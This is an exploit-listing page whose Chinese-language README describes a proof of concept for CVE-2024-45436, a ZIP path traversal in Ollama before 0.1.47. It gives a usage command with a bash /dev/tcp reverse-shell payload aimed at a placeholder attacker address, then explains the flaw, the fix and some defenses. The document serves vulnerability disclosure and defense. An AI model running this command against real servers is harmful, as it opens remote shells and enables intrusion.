Exploit for Path Traversal in Ollama CVE-2024-45436

## https://sploitus.com/exploit?id=35451B76-ED69-5244-8DED-23EE98D3EA5B
# CVE-2024-45436 攻击示例代码（POC）

**CVE-2024-45436** 是一个在 Linux 系统下运行的攻击代码，需要安装 `gcc` 编译器。

**准备工作：**  
直接运行以下命令来反弹一个 Shell：

```bash
python3 main.py -target http://127.0.0.1:11434/ -exec "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"
```

- `-target`：指定目标地址，例如：http://127.0.0.1:11434/
- `-exec`：用于执行反弹 Shell 的命令，`xxx.xxx.xxx.xxx` 为你的目标 IP，`xxxx` 为目标端口。

**注意：** 攻击可能需要几分钟时间，请耐心等待。

## CVE-2024-45436 漏洞原理

**概述：**  
CVE-2024-45436 是 Ollama 软件在 0.1.47 版本之前的一个路径遍历漏洞。它允许攻击者利用特制的 ZIP 文件，将文件解压到系统的任意位置，进而访问或覆盖系统文件。

**漏洞详情：**  
在 Ollama 的 `model.go` 文件中，`extractFromZipFile` 函数处理 ZIP 文件的解压。但由于缺乏对路径的正确限制，攻击者可以通过路径遍历（例如使用 `../`）将文件解压到父目录之外。这属于典型的路径遍历漏洞（CWE-22）。

**受影响的版本：**  
- Ollama 0.1.47 之前的所有版本。
- 漏洞攻击复杂度低，无需特权或用户交互，成功攻击后可能导致敏感信息泄露或系统文件被恶意覆盖。

## 修复措施

Ollama 开发团队已在 0.1.47 版本中修复了此漏洞。用户应尽快更新到最新版本，详情可参考官方 GitHub 仓库。

## 防范建议

1. **输入验证：** 严格验证和规范化文件路径，防止使用路径遍历字符（如 `../`）。
2. **权限控制：** 限制应用程序对文件系统的访问权限，仅访问必要的目录和文件。
3. **安全审计：** 定期对代码进行安全审计，及时发现和修复漏洞。

**结论：**  
CVE-2024-45436 是一个严重的路径遍历漏洞，可能导致敏感信息泄露或系统被控制。建议用户尽快更新软件，并采取相应的防范措施以确保系统安全。